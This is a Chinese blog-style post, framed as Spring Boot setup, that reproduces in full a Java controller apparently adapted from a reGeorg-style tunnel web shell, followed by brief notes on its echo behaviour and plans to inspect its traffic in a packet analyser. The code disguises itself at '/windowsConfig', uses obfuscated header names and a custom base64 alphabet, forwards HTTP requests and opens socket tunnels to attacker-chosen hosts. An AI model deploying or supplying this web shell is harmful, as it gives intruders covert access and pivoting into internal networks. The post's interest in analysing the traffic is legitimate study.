Springboot环境搭建
先附上代码
package com.example.windowsconfig.Controller; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import javax.servlet.ServletContext; import javax.servlet.ServletException; import javax.servlet.ServletInputStream; import javax.servlet.ServletOutputStream; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.net.*; import java.nio.ByteBuffer; import java.nio.channels.SocketChannel; import java.nio.charset.StandardCharsets; import java.util.Collections; import java.util.Enumeration; import java.util.List; @Controller public class controller { private static char[] en = "CE0XgUOIQFsw1tcy+H95alrukYfdznxZR8PJo2qbh4pe6/VDKijTL3v7BAmGMSNW".toCharArray(); public static String b64en(byte[] data) { StringBuffer sb = new StringBuffer(); int len = data.length; int i = 0; int b1, b2, b3; while (i < len) { b1 = data[i++] & 0xff; if (i == len) { sb.append(en[b1 >>> 2]); sb.append(en[(b1 & 0x3) << 4]); sb.append("=="); break; } b2 = data[i++] & 0xff; if (i == len) { sb.append(en[b1 >>> 2]); sb.append(en[((b1 & 0x03) << 4) | ((b2 & 0xf0) >>> 4)]); sb.append(en[(b2 & 0x0f) << 2]); sb.append("="); break; } b3 = data[i++] & 0xff; sb.append(en[b1 >>> 2]); sb.append(en[((b1 & 0x03) << 4) | ((b2 & 0xf0) >>> 4)]); sb.append(en[((b2 & 0x0f) << 2) | ((b3 & 0xc0) >>> 6)]); sb.append(en[b3 & 0x3f]); } return sb.toString(); } private static byte[] de = new byte[] {-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,16,-1,-1,-1,45,2,12,37,53,41,19,44,55,33,18,-1,-1,-1,-1,-1,-1,-1,57,56,0,47,1,9,59,17,7,35,48,52,60,62,6,34,8,32,61,51,5,46,63,3,25,31,-1,-1,-1,-1,-1,-1,20,39,14,27,43,26,4,40,49,50,24,21,58,29,36,42,38,22,10,13,23,54,11,30,15,28,-1,-1,-1,-1,-1}; public static byte[] b64de(String str) { byte[] data = str.getBytes(); int len = data.length; ByteArrayOutputStream buf = new ByteArrayOutputStream(len); int i = 0; int b1, b2, b3, b4; while (i < len) { do { b1 = de[data[i++]]; } while (i < len && b1 == -1); if (b1 == -1) { break; } do { b2 = de[data[i++]]; } while (i < len && b2 == -1); if (b2 == -1) { break; } buf.write((int) ((b1 << 2) | ((b2 & 0x30) >>> 4))); do { b3 = data[i++]; if (b3 == 61) { return buf.toByteArray(); } b3 = de[b3]; } while (i < len && b3 == -1); if (b3 == -1) { break; } buf.write((int) (((b2 & 0x0f) << 4) | ((b3 & 0x3c) >>> 2))); do { b4 = data[i++]; if (b4 == 61) { return buf.toByteArray(); } b4 = de[b4]; } while (i < len && b4 == -1); if (b4 == -1) { break; } buf.write((int) (((b3 & 0x03) << 6) | b4)); } return buf.toByteArray(); } static String headerkey(String str) throws Exception { String out = ""; for (String block: str.split("-")) { out += block.substring(0, 1).toUpperCase() + block.substring(1); out += "-"; } return out.substring(0, out.length() - 1); } boolean islocal(String url) throws Exception { String ip = (new URL(url)).getHost(); Enumeration<NetworkInterface> nifs = NetworkInterface.getNetworkInterfaces(); while (nifs.hasMoreElements()) { NetworkInterface nif = nifs.nextElement(); Enumeration<InetAddress> addresses = nif.getInetAddresses(); while (addresses.hasMoreElements()) { InetAddress addr = addresses.nextElement(); if (addr instanceof Inet4Address) if (addr.getHostAddress().equals(ip)) return true; } } return false; } @RequestMapping("/windowsConfig") public void windows(HttpServletRequest request, HttpServletResponse response) throws Exception { ServletOutputStream out = response.getOutputStream(); ServletContext application = request.getSession().getServletContext(); String rUrl = request.getHeader("Mueytrthxaatjpsb"); if (rUrl != null) { rUrl = new String(b64de(rUrl)); if (!islocal(rUrl)){ response.reset(); String method = request.getMethod(); URL u = new URL(rUrl); HttpURLConnection conn = (HttpURLConnection) u.openConnection(); conn.setRequestMethod(method); conn.setDoOutput(true); // conn.setConnectTimeout(200); // conn.setReadTimeout(200); Enumeration enu = request.getHeaderNames(); List<String> keys = Collections.list(enu); Collections.reverse(keys); for (String key : keys){ if (!key.equalsIgnoreCase("Mueytrthxaatjpsb")){ String value=request.getHeader(key); conn.setRequestProperty(headerkey(key), value); } } int i; byte[] buffer = new byte[1024]; if (request.getContentLength() != -1){ OutputStream output; try{ output = conn.getOutputStream(); }catch(Exception e){ response.setHeader("Die", "C23vc07BCOdIsUHAmDM4nNP01x7zR4uKsWbBrOV"); return; } ServletInputStream inputStream = request.getInputStream(); while ((i = inputStream.read(buffer)) != -1) { output.write(buffer, 0, i); } output.flush(); output.close(); } for (String key : conn.getHeaderFields().keySet()) { if (key != null && !key.equalsIgnoreCase("Content-Length") && !key.equalsIgnoreCase("Transfer-Encoding")){ String value = conn.getHeaderField(key); response.setHeader(key, value); } } InputStream hin; if (conn.getResponseCode() < HttpURLConnection.HTTP_BAD_REQUEST) { hin = conn.getInputStream(); } else { hin = conn.getErrorStream(); if (hin == null){ response.setStatus(200); return; } } ByteArrayOutputStream baos = new ByteArrayOutputStream(); while ((i = hin.read(buffer)) != -1) { byte[] data = new byte[i]; System.arraycopy(buffer, 0, data, 0, i); baos.write(data); } String responseBody = new String(baos.toByteArray()); response.addHeader("Content-Length", Integer.toString(responseBody.length())); response.setStatus(conn.getResponseCode()); out.write(responseBody.getBytes(StandardCharsets.UTF_8)); out.flush(); if ( true ) return; // exit } } response.resetBuffer(); response.setStatus(200); String cmd = request.getHeader("Ffydhndmhhl"); if (cmd != null) { String mark = cmd.substring(0,22); cmd = cmd.substring(22); response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); if (cmd.compareTo("b5v9XJbF") == 0) { try { String[] target_ary = new String(b64de(request.getHeader("Nnpo"))).split("\\|"); String target = target_ary[0]; int port = Integer.parseInt(target_ary[1]); SocketChannel socketChannel = SocketChannel.open(); socketChannel.connect(new InetSocketAddress(target, port)); socketChannel.configureBlocking(false); application.setAttribute(mark, socketChannel); response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); } catch (Exception e) { response.setHeader("Die", "k4MBX7QElVQzrmOdkml_G3pnYz55EFZPIwTO"); response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa"); } } else if (cmd.compareTo("0FX") == 0) { SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try{ socketChannel.socket().close(); } catch (Exception e) { } application.removeAttribute(mark); } else if (cmd.compareTo("TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql") == 0){ SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try{ ByteBuffer buf = ByteBuffer.allocate(513); int bytesRead = socketChannel.read(buf); int maxRead = 524288; int readLen = 0; while (bytesRead > 0){ byte[] data = new byte[bytesRead]; System.arraycopy(buf.array(), 0, data, 0, bytesRead); out.write(b64en(data).getBytes(StandardCharsets.UTF_8)); out.flush(); ((java.nio.Buffer)buf).clear(); readLen += bytesRead; if (bytesRead < 513 || readLen >= maxRead) break; bytesRead = socketChannel.read(buf); } response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); } catch (Exception e) { response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa"); } } else if (cmd.compareTo("CtWP7tBSKiDnysT9hP9pa") == 0){ SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try { String inputData = ""; InputStream in = request.getInputStream(); while ( true ){ byte[] buff = new byte[in.available()]; if (in.read(buff) == -1) break; inputData += new String(buff); } byte[] base64 = b64de(inputData); ByteBuffer buf = ByteBuffer.allocate(base64.length); buf.put(base64); buf.flip(); while(buf.hasRemaining()) socketChannel.write(buf); response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); } catch (Exception e) { response.setHeader("Die", "QmPrA86mT15"); response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa"); socketChannel.socket().close(); } } } else { out.write("<!-- HdgznEy73Ghv4jiuh5s83czHnFBYBpOdRVE4qyMTNktshD7xIS9S09PrPNH -->".getBytes(StandardCharsets.UTF_8)); } } }
主要增添的是两部分
ServletOutputStream out = response.getOutputStream(); ServletContext application = request.getSession().getServletContext();
一个是输出流，一个是application
同时针对所有的out流都进行getByte转换
当然，这个也是比较神奇的
为什么不会触发这个回显呢？
根据代码，我们可以分析到，因为有content-length 才会触发
正常测试没有问题
我们打开科来，尝试分析一下数据包
